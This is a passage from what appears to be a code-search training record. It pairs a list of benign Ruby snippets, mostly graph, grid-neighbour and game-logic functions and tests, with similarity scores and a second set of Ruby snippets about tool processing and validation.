"def invalid_longitude_roads\n north = 80\n east = -178\n south = 79\n west = -181\n OverpassGraph.get_roads(north, east, south, west, [], [])\nend",
"def find_lonely_pixel(picture)\n height = picture.length\n width = picture[0].length\n lonely_counter = 0\n row = {}\n column = {}\n i = 0\n j = 0\n \n while i < height\n while j < width\n if picture[i][j] == \"B\"\n column[i] ? column[i] += 1 : column[i] = 1\n row[j] ? row[j] += 1 : row[j] = 1\n end\n j += 1\n end\n j = 0\n i += 1\n end\n \n i = 0\n j = 0\n\n while i < height\n while j < width\n lonely_counter += 1 if picture[i][j] == \"B\" && row[j] == 1 && column[i] == 1\n j += 1\n end\n j = 0\n i += 1\n end\n \n lonely_counter\nend",
"def incident_edges v\n\t\ttemp_array = []\n\t\tfor i in 0..num_edges-1\n\t\t\tif @Edges[i].points[0] == v.label\n\t\t\t\ttemp_array << @Edges[i]\n\t\t\telsif @Edges[i].points[1] == v.label\n\t\t\t\ttemp_array << @Edges[i]\n\t\t\tend\n\t\tend\n\t\treturn temp_array\n\tend",
"def has_edge?(edge)\n return all_edges.include?(edge)\n end",
"def listEdges(matrix)\n edges = {}\n hitList = {}\n\n matrix.each_with_index do |line, i|\n aI = @alphaHash[i]\n line.each_with_index do |node, j|\n dist = matrix[i][j]\n aJ = @alphaHash[j]\n if dist != -1\n edge = (i < j ? \"#{aI}#{aJ}\" : \"#{aJ}#{aI}\")\n edges[aI] = {} if edges[aI].nil?\n edges[aJ] = {} if edges[aJ].nil?\n edges[aI][aJ] = dist\n edges[aJ][aI] = dist\n hitList[edge] = dist\n end\n end\n end\n\n hitList = Hash[hitList.sort_by {|k,v| v*-1}]\n [edges,hitList]\n end",
"def c2?(g,u)\n ok = false\n g.adjacent_vertices(u).each do |v| \n if (@l[v] == nil or @l[v] == 'inf')\n\tg.adjacent_vertices(v).each do |z|\n\t if @l[z] == @i.to_s\n\t ok = true\n\t break\n\t end # if\n\t ok = false\n\tend # do\n\tif ok == false\n\t return false\n\tend # if\n end # if\n end # do\n return true\n end",
"def test_in_edges_on_examples\n assert_equal(@small_dfa.ith_edges(4), @small_dfa.in_edges(0,true))\n assert_equal(@small_dfa.ith_edges(0,5), @small_dfa.in_edges(1,true))\n assert_equal(@small_dfa.ith_edges(1,3), @small_dfa.in_edges(2,true))\n assert_equal(@small_dfa.ith_edges(2), @small_dfa.in_edges(3,true))\n\n assert_equal(@small_nfa.ith_edges(5), @small_nfa.in_edges(0,true))\n assert_equal(@small_nfa.ith_edges(0,1,6), @small_nfa.in_edges(1,true))\n assert_equal(@small_nfa.ith_edges(2), @small_nfa.in_edges(2,true))\n assert_equal(@small_nfa.ith_edges(3,4), @small_nfa.in_edges(3,true))\n end",
"def propagation_leafs\n trace.each_vertex.find_all { |v| trace.leaf?(v) }\n end",
"def empty_neighbors (cell_x, cell_y, radius)\n empty_neighbors = 0\n x = cell_x - radius\n while(x <= cell_x + radius)\n y = cell_y - radius\n while(y <= cell_y + radius)\n if(is_within_map?(x, y) && !is_solid?(x, y))\n empty_neighbors += 1\n end\n y += 1\n end\n x += 1\n end\n return empty_neighbors\n end",
"def recalc_boundaries\n if map.control_points.count > 2\n map.boundary.recalc\n for annotation in map.annotations\n annotation.boundary.recalc\n end\n end\n end",
"def neighbors(vertex)\n\tend",
"def neighbors(x,y)\n valid = 0..127\n [[x,y-1],[x,y+1],[x-1,y],[x+1,y]].select {|(h,v)| valid.cover?(h) && valid.cover?(v)}\nend",
"def transition\n newMap = []\n for x in 0...@map.length do\n for y in 0...@map[x].length do\n if !newMap[x]\n newMap[x] = []\n end\n if !newMap[x][y]\n newMap[x][y] = @map[x][y]\n end\n numAlive = neighbors(x, y).reduce(0) { |a, c| c == 1 ? a + 1 : a }\n if numAlive < 2\n newMap[x][y] = 0 # death by under population\n elsif numAlive > 3\n newMap[x][y] = 0 # death by over population\n elsif @map[x][y] == 0 and numAlive == 3\n newMap[x][y] = 1 # alive by reproduction\n end\n end\n end\n @map = newMap\n end",
"def panoramic_pairs(landmarks)\n\nend",
"def exitedge_source?(target)\n if target.loopnest > loopnest\n false\n elsif target.loopnest < loopnest\n true\n else\n loops[0] != target.loops[0]\n end\n end",
"def test_add_edge_with_cycles\n @graph.add_edge('a', 'b');\n @graph.add_edge('b', 'c');\n @graph.add_edge('c', 'a');\n\n # 0 and 2 are indexes of vertex a and vertex c respectively\n assert(@graph.vertices[0].neighbours[2] == true && @graph.vertices[2].neighbours[0] == true)\n end",
"def nearby_dead_cells(live_cells)\n live_cells.map { |p| neighborhood(p) }.reduce(:|) - live_cells\nend",
"def entry_edges\n ensure_network\n self.network.entry_edges\n end",
"def adjEdges(u)\n\t\tl = Array.new\n\t\t@edgeSet.each do |e|\n\t\t\tif e.s == u\n\t\t\t\tl << e\n\t\t\tend\n\t\tend\n\t\tl\n\tend",
"def is_connected_east?\r\n return true if @connected_directions.include?(:east)\r\n return false\r\n end",
"def is_neighbour_of(another_vertex)\n @edges.each do |edge| \n if edge.head == another_vertex || edge.tail == another_vertex\n return true\n end\n end\n return false\n end",
"def calc_edge_collision\n # Ensures that player doesn't fall below the map\n if next_y < 0 && state.dy < 0 # if player is moving down and is about to fall (next_y) below the map's scope\n state.y = 0 # 0 is the lowest the player can be while staying on the screen\n state.dy = 0\n # Ensures player doesn't go insanely high\n elsif next_y > 720 - state.tile_size && state.dy > 0 # if player is moving up, about to exceed map's scope\n state.y = 720 - state.tile_size # if we don't subtract tile_size, we won't be able to see the player on the screen\n state.dy = 0\n end\n\n # Ensures that player remains in the horizontal range its supposed to\n if state.x >= 1280 - state.tile_size && state.dx > 0 # if the player is moving too far right\n state.x = 1280 - state.tile_size # farthest right the player can be while remaining in the screen's scope\n state.dx = 0\n elsif state.x <= 0 && state.dx < 0 # if the player is moving too far left\n state.x = 0 # farthest left the player can be while remaining in the screen's scope\n state.dx = 0\n end\n end",
"def avoid_roads(width, height, bad)\n\n routes = Array.new(height + 1) { Array.new(width + 1) { 0 } } # how many routes to a block?\n\n routes.each_with_index do |row, i|\n row.each_index do |j|\n if (i == 0 && j == 0)\n routes[0][0] = 1\n elsif i == 0\n routes[i][j] = routes[0][j - 1] unless is_obstructed?(i, j, i, j - 1, bad)\n elsif j == 0\n routes[i][j] = routes[i - 1][0] unless is_obstructed?(i, j, i - 1, j, bad)\n else\n top = (is_obstructed?(i, j, i - 1, j, bad) ? 0 : routes[i - 1][j])\n left = (is_obstructed?(i, j, i, j - 1, bad) ? 0 : routes[i][j - 1])\n routes[i][j] = top + left\n end\n end\n end\n\n return routes[height][width]\nend",
"def checkNode()\n source_set = []\n neighbor_set = []\n $networks.each do |s, nb|\n source_set << s\n nb[\"neighbors\"].each do |s_, dist|\n neighbor_set << s_\n end\n end\n source_set.sort!\n source_set.uniq!\n neighbor_set.sort!\n neighbor_set.uniq!\n return source_set == neighbor_set\nend",
"def is_fit?(edge)\n @vertices.any?{|v| v.node == edge.node1.node || v.node == edge.node2.node}\n end",
"def edge?( from, to )\n @vertices[from].include? to \n end",
"def find_neighbors(node)\n nbrs = []\n self.edges.each do |e|\n nbrs.push(e.target) if e.source == node\n nbrs.push(e.source) if e.target == node\n end\n nbrs\n end"
] |
[
"0.6547455",
"0.61576617",
"0.60997134",
"0.60704964",
"0.59761924",
"0.5971062",
"0.5939902",
"0.5888411",
"0.584122",
"0.5788956",
"0.57717705",
"0.5769368",
"0.57355434",
"0.5722286",
"0.569292",
"0.5672831",
"0.5640647",
"0.55659765",
"0.55559874",
"0.5538701",
"0.5536794",
"0.5533165",
"0.55186176",
"0.55179507",
"0.5509372",
"0.546596",
"0.54632276",
"0.5441419",
"0.54362744",
"0.543015",
"0.5411883",
"0.5408025",
"0.54029906",
"0.5402585",
"0.5387306",
"0.5382738",
"0.5365675",
"0.536285",
"0.536285",
"0.53561723",
"0.5348717",
"0.5346249",
"0.53404117",
"0.5335825",
"0.53255653",
"0.53182167",
"0.529072",
"0.5286408",
"0.52858365",
"0.5278906",
"0.5274837",
"0.5271601",
"0.52594185",
"0.5259246",
"0.5241946",
"0.524053",
"0.5224712",
"0.52179956",
"0.5205778",
"0.5199856",
"0.51934856",
"0.5181855",
"0.5171791",
"0.5170418",
"0.51631737",
"0.5162629",
"0.5158784",
"0.515554",
"0.5148238",
"0.5145508",
"0.5141394",
"0.51328343",
"0.5125073",
"0.5120819",
"0.51207185",
"0.5115121",
"0.5111206",
"0.5109965",
"0.51097673",
"0.5097343",
"0.50931257",
"0.508975",
"0.5080069",
"0.5077859",
"0.5066004",
"0.50644904",
"0.5062789",
"0.5058947",
"0.50527847",
"0.50503594",
"0.50457495",
"0.50413555",
"0.50393045",
"0.5037888",
"0.50375366",
"0.50361866",
"0.5007923",
"0.5004281",
"0.5003584",
"0.49992782",
"0.49917486"
] |
0.0
|
-1
|
process the tool and verify wheter can be used
|
def process_tool_action(item)
PearlKernel.load_item(item)
return if !battler.tool_ready?(item)
unless PearlKernel.has_data?
if item.is_a?(RPG::Weapon) || item.is_a?(RPG::Armor)
msgbox('Tool data missing') if $DEBUG
return
end
if item.scope.between?(1, 6)
msgbox('Tool data missing') if $DEBUG
return
elsif item.scope == 0
return
elsif !battler.usable?(item)
RPG::SE.new("Cursor1", 80).play if self.is_a?(Game_Player)
return
end
end
if PearlKernel.has_data? and not usable_test_passed?(item)
RPG::SE.new("Cursor1", 80).play if self.is_a?(Game_Player)
return
end
@user_casting = [PearlKernel.tool_castime,item] if PearlKernel.has_data?
if @user_casting[0] > 0
@animation_id = 0
@animation_id = PearlKernel.tool_castanimation
else
load_abs_tool(item)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def checkTools()\n\n\tif (PATH_CLANG_FORMAT.empty?)\n\t\tabort(\"Unable to find clang-format!\");\n\tend\n\n\tif (PATH_UNCRUSTIFY.empty?)\n\t\tabort(\"Unable to find uncrustify!\");\n\tend\n\nend",
"def execute\r\n rSuccess = true\r\n\r\n # First check that every tool we will need is present\r\n # TODO: Use RDI to install missing ones\r\n logOp('Check installed tools') do\r\n # Check that the tools we need to release are indeed here\r\n if ((@ReleaseInfo.respond_to?(:check_ready_for_release)) and\r\n (!@ReleaseInfo.check_ready_for_release(@RootDir)))\r\n rSuccess = false\r\n end\r\n if (!@ReleaseInfo.executables_info.empty?)\r\n # Check first if there will be a need for binary compilation\r\n lBinaryCompilation = false\r\n @ReleaseInfo.executables_info.each do |iExecutableInfo|\r\n if (iExecutableInfo[:exe_name] != nil)\r\n lBinaryCompilation = true\r\n break\r\n end\r\n end\r\n # Check tools for platform dependent considerations\r\n if (!@PlatformReleaseInfo.check_exe_tools(@RootDir, @IncludeRuby, lBinaryCompilation))\r\n rSuccess = false\r\n end\r\n end\r\n @Installers.each do |iInstallerName|\r\n @PluginsManager.access_plugin('Installers', iInstallerName) do |ioPlugin|\r\n if ((ioPlugin.respond_to?(:check_tools)) and\r\n (!ioPlugin.check_tools))\r\n rSuccess = false\r\n end\r\n end\r\n end\r\n @Distributors.each do |iDistributorName|\r\n @PluginsManager.access_plugin('Distributors', iDistributorName) do |ioPlugin|\r\n if ((ioPlugin.respond_to?(:check_tools)) and\r\n (!ioPlugin.check_tools))\r\n rSuccess = false\r\n end\r\n end\r\n end\r\n end\r\n if (rSuccess)\r\n # Release files and create binary if needed\r\n rSuccess = releaseFiles\r\n if (rSuccess)\r\n # Generate documentation\r\n if (@GenerateRDoc)\r\n rSuccess = generateRDoc\r\n end\r\n if (rSuccess)\r\n # Generate Release notes\r\n rSuccess = generateReleaseNote_HTML\r\n if (rSuccess)\r\n rSuccess = generateReleaseNote_TXT\r\n if (rSuccess)\r\n # Create installers\r\n # List of files generated to distribute\r\n # list< String >\r\n lGeneratedInstallers = []\r\n @Installers.each do |iInstallerName|\r\n logOp(\"Create installer #{iInstallerName}\") do\r\n @PluginsManager.access_plugin('Installers', iInstallerName) do |ioPlugin|\r\n lFileName = ioPlugin.create_installer(@RootDir, @ReleaseDir, @InstallerDir, @ReleaseVersion, @ReleaseInfo, @IncludeTest)\r\n if (lFileName == nil)\r\n rSuccess = false\r\n else\r\n lGeneratedInstallers << lFileName\r\n end\r\n end\r\n end\r\n end\r\n if (rSuccess)\r\n # 5. Distribute\r\n @Distributors.each do |iDistributorName|\r\n logOp(\"Distribute to #{iDistributorName}\") do\r\n @PluginsManager.access_plugin('Distributors', iDistributorName) do |ioPlugin|\r\n if (!ioPlugin.distribute(@InstallerDir, @ReleaseVersion, @ReleaseInfo, lGeneratedInstallers, @DocDir))\r\n rSuccess = false\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n end\r\n\r\n return rSuccess\r\n end",
"def run\n if options_valid? && option_combinations_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def process\n command = get_command()\n\n if command\n verify_command(command)\n else\n help\n end\n end",
"def validate!\n if not respond_to?(\"perform_#{command}!\")\n type = self.class.to_s.split(\"::\").last.downcase\n error \"Unknown #{y(type)} command: <#{r(command)}>\"\n error \"Run #{y(\"gitpusshuten help #{type}\")} for a list #{y(type)} commands.\"\n exit\n end\n end",
"def valid_tool?(dest, tool)\n dest_type = type(dest)\n case dest_type\n when ROCKY\n [CLIMB, TORCH].include? tool\n when WET\n [CLIMB, NONE].include? tool\n when NARROW\n [TORCH, NONE].include? tool\n end\nend",
"def work_tool(tool)### set and get\r\n @tool = tool\r\n puts \"#{@name} works using a #{@tool} #{return_phtest_writer}\"\r\n end",
"def precheck\n end",
"def check_process\n super\n end",
"def validator?; system('which question-validator > /dev/null 2>&1'); end",
"def verify!(executable, *args, &block); end",
"def validate_release \n if !system(\"origen examples\") #|| !system(\"origen specs\") \n puts \"Sorry but you can't release with failing tests, please fix them and try again.\" \n exit 1 \n else \n puts \"All tests passing, proceeding with release process!\" \n end \n end",
"def run_tool(tool, args, default_data)\n arg_parser = ArgParser.new(self, tool,\n default_data: default_data,\n require_exact_flag_match: tool.exact_flag_match_required?)\n arg_parser.parse(args).finish\n context = tool.tool_class.new(arg_parser.data)\n tool.source_info&.apply_lib_paths\n tool.run_initializers(context)\n\n cur_logger = context[Context::Key::LOGGER]\n if cur_logger\n original_level = cur_logger.level\n cur_logger.level = (base_level || original_level) - context[Context::Key::VERBOSITY].to_i\n end\n begin\n execute_tool_in_context(context, tool)\n ensure\n cur_logger.level = original_level if cur_logger\n end\n end",
"def checks; end",
"def check_for_executable; end",
"def check \n @checker.check @program_node\n end",
"def run_check\n Railroader.debug \"Finding system calls using ``\"\n check_for_backticks tracker\n\n check_open_calls\n\n Railroader.debug \"Finding other system calls\"\n calls = tracker.find_call :targets => [:IO, :Open3, :Kernel, :'POSIX::Spawn', :Process, nil],\n :methods => [:capture2, :capture2e, :capture3, :exec, :pipeline, :pipeline_r,\n :pipeline_rw, :pipeline_start, :pipeline_w, :popen, :popen2, :popen2e,\n :popen3, :spawn, :syscall, :system], :nested => true\n\n Railroader.debug \"Processing system calls\"\n calls.each do |result|\n process_result result\n end\n end",
"def run\n\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n\n end",
"def perform_validation(_token, certname, raw_csr)\n results = []\n @log.debug 'validating using multiplexed external executables'\n policy_executables.each do |executable|\n @log.debug \"attempting to validate using #{executable}\"\n results << IO.popen(executable + ' ' + certname.to_s, 'r+') { |obj| obj.puts raw_csr; obj.close_write; obj.read; obj.close; $CHILD_STATUS.to_i }\n @log.debug \"exit code from #{executable}: #{results.last}\"\n end\n bool_results = results.map { |val| val == 0 }\n validate_using_strategy(bool_results)\n end",
"def parse(name,author,browser, browser_version, os, os_version, modules, exec_order, exec_delay, chain_mode)\n begin\n success = [true]\n\n return [false, 'Illegal chain_mode definition'] unless CHAIN_MODE.include?(chain_mode)\n return [false, 'Illegal rule name'] unless BeEF::Filters.is_non_empty_string?(name)\n return [false, 'Illegal author name'] unless BeEF::Filters.is_non_empty_string?(author)\n # if multiple browsers were specified, check each browser\n if browser.kind_of?(Array)\n browser.each do |b|\n return [false, 'Illegal browser definition'] unless BROWSER.include?(b)\n end\n # else, if only one browser was specified, check browser and browser version\n else\n return [false, 'Illegal browser definition'] unless BROWSER.include?(browser)\n if browser_version != 'ALL'\n return [false, 'Illegal browser_version definition'] unless\n VERSION.include?(browser_version[0,2].gsub(/\\s+/,'')) &&\n BeEF::Filters::is_valid_browserversion?(browser_version[2..-1].gsub(/\\s+/,'')) && browser_version.length < MAX_VER_LEN\n end\n end\n\n if os_version != 'ALL'\n return [false, 'Illegal os_version definition'] unless\n VERSION.include?(os_version[0,2].gsub(/\\s+/,'')) &&\n BeEF::Filters::is_valid_osversion?(os_version[2..-1].gsub(/\\s+/,'')) && os_version.length < MAX_VER_LEN\n end\n\n return [false, 'Illegal os definition'] unless OS.include?(os)\n\n # check if module names, conditions and options are ok\n modules.each do |cmd_mod|\n mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first\n if mod != nil\n modk = BeEF::Module.get_key_by_database_id(mod.id)\n mod_options = BeEF::Module.get_options(modk)\n\n opt_count = 0\n mod_options.each do |opt|\n if opt['name'] == cmd_mod['options'].keys[opt_count]\n opt_count += 1\n else\n return [false, \"The specified option (#{cmd_mod['options'].keys[opt_count]\n }) for module (#{cmd_mod['name']}) does not exist\"]\n end\n end\n else\n return [false, \"The specified module name (#{cmd_mod['name']}) does not exist\"]\n end\n end\n\n exec_order.each{ |order| return [false, 'execution_order values must be Integers'] unless order.integer?}\n exec_delay.each{ |delay| return [false, 'execution_delay values must be Integers'] unless delay.integer?}\n\n return [false, 'execution_order and execution_delay values must be consistent with modules numbers'] unless\n modules.size == exec_order.size && modules.size == exec_delay.size\n\n success\n rescue => e\n print_error \"#{e.message}\"\n print_debug \"#{e.backtrace.join(\"\\n\")}\"\n return [false, 'Something went wrong.']\n end\n end",
"def tooling?\n true\n end",
"def tool_exist?\n get_tools.each do |tool|\n return true if tool[\"name\"] == @tool_name\n end\n return false\n end",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_usage\n end\n end",
"def run\n Precheck.config.load_configuration_file(Precheck.precheckfile_name)\n\n FastlaneCore::PrintTable.print_values(config: Precheck.config,\n hide_keys: [:output_path],\n title: \"Summary for precheck #{Fastlane::VERSION}\")\n\n unless Spaceship::Tunes.client\n UI.message(\"Starting login with user '#{Precheck.config[:username]}'\")\n Spaceship::Tunes.login(Precheck.config[:username])\n Spaceship::Tunes.select_team\n\n UI.message(\"Successfully logged in\")\n end\n\n UI.message(\"Checking app for precheck rule violations\")\n\n ensure_app_exists!\n\n processor_result = check_for_rule_violations(app: app, app_version: latest_app_version)\n\n if processor_result.items_not_checked?\n print_items_not_checked(processor_result: processor_result)\n end\n\n if processor_result.has_errors_or_warnings?\n summary_table = build_potential_problems_table(processor_result: processor_result)\n puts(summary_table)\n end\n\n if processor_result.should_trigger_user_error?\n UI.user_error!(\"precheck 👮♀️ 👮 found one or more potential problems that must be addressed before submitting to review\")\n return false\n end\n\n if processor_result.has_errors_or_warnings?\n UI.important(\"precheck 👮♀️ 👮 found one or more potential metadata problems, but this won't prevent fastlane from completing 👍\".yellow)\n end\n\n if !processor_result.has_errors_or_warnings? && !processor_result.items_not_checked?\n UI.message(\"precheck 👮♀️ 👮 finished without detecting any potential problems 🛫\".green)\n end\n\n return true\n end",
"def pre_execute_checks\n validate_terraform_installed\n ensure_output_directory\n Dir.chdir(@opts.get(:input_dir)) do\n puts '=> Fetching modules...'\n tf_get\n end\n end",
"def perform_extensive_analysis(spec)\n if spec.non_library_specification?\n error('spec', \"Validating a non library spec (`#{spec.name}`) is not supported.\")\n return false\n end\n validate_homepage(spec)\n validate_screenshots(spec)\n validate_social_media_url(spec)\n validate_documentation_url(spec)\n validate_source_url(spec)\n\n platforms = platforms_to_lint(spec)\n\n valid = platforms.send(fail_fast ? :all? : :each) do |platform|\n UI.message \"\\n\\n#{spec} - Analyzing on #{platform} platform.\".green.reversed\n @consumer = spec.consumer(platform)\n setup_validation_environment\n begin\n create_app_project\n download_pod\n check_file_patterns\n install_pod\n validate_swift_version\n add_app_project_import\n validate_vendored_dynamic_frameworks\n build_pod\n test_pod unless skip_tests\n ensure\n tear_down_validation_environment\n end\n validated?\n end\n return false if fail_fast && !valid\n perform_extensive_subspec_analysis(spec) unless @no_subspecs\n rescue => e\n message = e.to_s\n message << \"\\n\" << e.backtrace.join(\"\\n\") << \"\\n\" if config.verbose?\n error('unknown', \"Encountered an unknown error (#{message}) during validation.\")\n false\n end",
"def sanity_check\n # Check iptables FILTER table for our chef chain\n begin\n shell_out!('iptables -nL Promethean')\n rescue Mixlib::ShellOut::ShellCommandFailed\n\tinfo(\"Defining Promethean chain\")\n shell_out!('iptables -N Promethean')\n end\n\n # Check iptables FILTER INPUT chain for a jump to our chef chain\n unless shell_out!('iptables -nL INPUT').stdout.lines.find { |line| line =~ /^Promethean[ ]*all/ }\n\tinfo(\"Adding Promethean chain to input table\")\n shell_out!('iptables -A INPUT -j Promethean')\n end\n\n # Check the header of our file\n # If it's not there, blast the file and rewrite the header\n res = @new_resource\n saved_header = nil\n if ::File.exist?(res.script_path) and ::File.size(res.script_path) > 0\n saved_header = ::File.open(res.script_path) { |f| f.readline.chomp }\n end\n header = 'iptables -F Promethean'\n if saved_header.nil? || saved_header != header\n info(\"No header in #{res.script_path}, writing #{header}\")\n\t::File.open(res.script_path, 'w') do |f|\n f.puts header\n end\n return true\n end\n\n false\nend",
"def run\n \n # Define options\n opts = OptionParser.new\n opts.banner = \"Usage: #{File.basename($0)} [options] {setup|restore}\"\n opts.on('-h', '--help') do\n @options[:usage] = true\n end\n opts.on( '-v', '--verbose', 'Print progress to STDERR' ) do\n @options[:verbose] = true\n end\n opts.on( '-d', '--debug', 'Print debug output to STDERR' ) do\n @options[:verbose] = true\n @options[:debug] = true\n end\n opts.on( '-w', '--wait', \n 'Wait [30] seconds for network interfaces' ) do |a|\n @options[:wait] = a\n end\n opts.on( '--corporate INTERFACE', \n 'Select INTERFACE for corporate network' ) do |a|\n @network_map[:corporate][:pattern] = /#{a}/\n end\n opts.on( '--other INTERFACE', \n 'Select INTERFACE for other network' ) do |a|\n @network_map[:other][:pattern] = /#{a}/\n end\n opts.on( '--vpn', 'Enable VPN' ) do |a|\n @options[:vpn] = a\n end\n if CORPORATE_NET.include?('255.255.255.255/16') ||\n ! PARAMETERS_ADAPTED\n RDoc::usage_no_exit()\n puts opts\n puts \"\\n###\\n### YOU NEED TO READ, UNDERSTAND,\\n\"\\\n \"### AND FINALLY EDIT THIS SCRIPT\\n\"\\\n \"### BEFORE YOU CAN USE IT\\n###\\n\\n\"\n return false\n end\n begin\n opts.parse!(@arguments)\n rescue OptionParser::InvalidOption => e\n RDoc::usage_no_exit()\n puts e\n puts opts\n return false\n end\n if @options[:usage]\n RDoc::usage_no_exit()\n puts opts\n return false\n end\n if parsed_arguments? \n process_command\n else\n puts \"#{File.basename(__FILE__)} version #{VERSION}\"\n RDoc::usage_no_exit()\n puts opts\n exit 1\n end\n \n end",
"def check_tools\n rSuccess = true\n\n begin\n rSuccess = system('gem push --help')\n rescue Exception\n log_err \"Error while testing \\\"gem push\\\": #{$!}. Please update your RubyGems library.\"\n rSuccess = false\n end\n\n return rSuccess\n end",
"def tool_enabled?(tool)\n options[\"#{tool}_enabled\"].to_i == 1\n end",
"def tool_defined?(words)\n @tool_data.key?(words)\n end",
"def validate_release\n if !system(\"origen examples\")\n puts \"Sorry but you can't release with failing tests, please fix them and try again.\"\n exit 1\n else\n puts \"All tests passing, proceeding with release process!\"\n end\n end",
"def run\n self.get_params\n @target ||= self.get_target_file_name\n @top ||= self.get_criteria\n\n unless @top == nil\n result = true\n if @target.kind_of? String\n puts \"Processing file: #{@target}\"\n lines = Util.get_file_as_array( @target )\n @top.run lines\n result = @top.result\n else\n @target.each do |file|\n print \"Processing file: #{file}... \"\n lines = Util.get_file_as_array( file )\n @top.reset_rule_results\n @top.run lines\n result = false unless @top.result == true\n if @top.result\n puts \"[Pass]\"\n else\n puts \"[Fail]\"\n end\n end\n end\n\n if result == true\n puts \"PASS\"\n else\n puts \"FAIL\"\n end\n else\n puts \"Error loading verification criteria from: #{@options.criteria_file}\"\n end\n end",
"def verify_target\n # subclasses must implement this method\n puts \"verify_target - not overloaded. file=#{filename}\"\n end",
"def validate_release\n if !system(\"origen specs\") || !system(\"origen examples\")\n puts \"Sorry but you can't release with failing tests, please fix them and try again.\"\n exit 1\n else\n puts \"All tests passing, proceeding with release process!\"\n end\n end",
"def runnable?\n tool_class.public_instance_methods(false).include?(:run)\n end",
"def auto_analyze; end",
"def check\n \n end",
"def check\n \n end",
"def run(runner, user_arguments)\n super(runner, user_arguments)\n \n #make the runner a class variable\n @runner = runner\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(), user_arguments)\n return false\n end\n\n runner.registerInitialCondition(\"Starting QAQC report generation\")\n\n # get the last model and sql file \n @model = runner.lastOpenStudioModel\n if @model.is_initialized\n @model = @model.get\n else\n runner.registerError(\"Cannot find last model.\")\n return false\n end\n \n @sql = runner.lastEnergyPlusSqlFile\n if @sql.is_initialized\n @sql = @sql.get\n else\n runner.registerError(\"Cannot find last sql file.\")\n return false\n end\n \n resource_path = \"#{File.dirname(__FILE__)}/resources/\"\n if not File.exists?(\"#{resource_path}/CreateResults.rb\")\n # support pre 1.2.0 OpenStudio\n resource_path = \"#{File.dirname(__FILE__)}/\"\n end\n\n\n \n #require the files that create results and qaqc checks\n # use different code for 2.0 and higher\n if @model.version < OpenStudio::VersionString.new('1.11')\n runner.registerInfo(\"Using the pre-2.0 code\")\n require \"#{resource_path}/CreateResults.rb\"\n require \"#{resource_path}/EndUseBreakdown\"\n require \"#{resource_path}/EUI\"\n require \"#{resource_path}/FuelSwap\"\n require \"#{resource_path}/PeakHeatCoolMonth\"\n require \"#{resource_path}/UnmetHrs\"\n\n #vector to store the results and checks\n report_elems = OpenStudio::AttributeVector.new\n report_elems << create_results\n \n #create an attribute vector to hold the checks\n check_elems = OpenStudio::AttributeVector.new\n\n #unmet hours check\n check_elems << unmet_hrs_check\n \n #energy use for cooling and heating as percentage of total energy check\n check_elems << enduse_pcts_check\n\n #peak heating and cooling months check\n check_elems << peak_heat_cool_mo_check\n\n #EUI check\n check_elems << eui_check\n \n #end checks\n report_elems << OpenStudio::Attribute.new(\"checks\", check_elems)\n \n #create an extra layer of report. the first level gets thrown away.\n top_level_elems = OpenStudio::AttributeVector.new\n top_level_elems << OpenStudio::Attribute.new(\"report\", report_elems) \n \n #create the report\n result = OpenStudio::Attribute.new(\"summary_report\", top_level_elems)\n result.saveToXml(OpenStudio::Path.new(\"report.xml\"))\n\n else\n runner.registerInfo(\"Using the post-2.0 code\")\n require \"#{resource_path}/CreateResults_2.rb\"\n require \"#{resource_path}/EndUseBreakdown_2\"\n require \"#{resource_path}/EUI_2\"\n require \"#{resource_path}/FuelSwap_2\"\n require \"#{resource_path}/PeakHeatCoolMonth_2\"\n require \"#{resource_path}/UnmetHrs_2\" \n \n # store the results\n create_results\n \n # QAQC checks\n runner.registerValue(\"test_reg_value\", 9989, \"ft^2\")\n \n \n end\n \n #closing the sql file\n @sql.close()\n\n #reporting final condition\n runner.registerFinalCondition(\"Finished generating report.xml.\")\n \n return true\n \n end",
"def run(*args, verbosity: 0, delegated_from: nil)\n tool, remaining = ContextualError.capture(\"Error finding tool definition\") do\n @loader.lookup(args.flatten)\n end\n ContextualError.capture_path(\n \"Error during tool execution!\", tool.source_info&.source_path,\n tool_name: tool.full_name, tool_args: remaining\n ) do\n default_data = {\n Context::Key::VERBOSITY => verbosity,\n Context::Key::DELEGATED_FROM => delegated_from,\n }\n run_tool(tool, remaining, default_data)\n end\n rescue ContextualError, ::Interrupt => e\n @error_handler.call(e).to_i\n end",
"def validate_pre_run!\n check_if_yml_present!\n check_if_yml_has_correct_content!\n check_if_rubocop_command_exists!\n end",
"def validate_command\n\t \tcommand_types = ['get_authorization_url','update_site_registration', 'get_tokens_by_code','get_user_info', 'register_site', 'get_logout_uri','get_authorization_code','uma_rs_protect','uma_rs_check_access','uma_rp_get_rpt','uma_rp_authorize_rpt','uma_rp_get_gat']\n\t \tif (!command_types.include?(@command))\n\t\t\t\tlogger(:log_msg => \"Command: #{@command} does not exist! Exiting process.\")\n \tend\n\t end",
"def test2ActionsDifferentTools\n executeTest(\n 'DummyUser',\n {\n 'DummyTool' => {\n 'DummyAction' => [\n []\n ]\n },\n 'DummyTool2' => {\n 'DummyAction2' => [\n []\n ]\n }\n }\n )\n end",
"def precheck\n if !BinarySolo.dir_valid?\n puts \"this is not a binary_solo directoy => better run $ binarysolo init\".colorize(:red)\n false\n elsif !BinarySolo.config_valid?\n puts \"your config is invalid - but I dont have any details for you (yet)\".colorize(:red)\n false\n else\n true\n end\nend",
"def tools_setup(config)\n config[:tools].each_key do |name|\n tool = config[:tools][name]\n\n # populate name if not given\n tool[:name] = name.to_s if (tool[:name].nil?)\n\n # handle inline ruby string substitution in executable\n if (tool[:executable] =~ RUBY_STRING_REPLACEMENT_PATTERN)\n tool[:executable].replace(@system_wrapper.module_eval(tool[:executable]))\n end\n\n # populate stderr redirect option\n tool[:stderr_redirect] = StdErrRedirect::NONE if (tool[:stderr_redirect].nil?)\n\n # populate background execution option\n tool[:background_exec] = BackgroundExec::NONE if (tool[:background_exec].nil?)\n\n # populate optional option to control verification of executable in search paths\n tool[:optional] = false if (tool[:optional].nil?)\n end\n end",
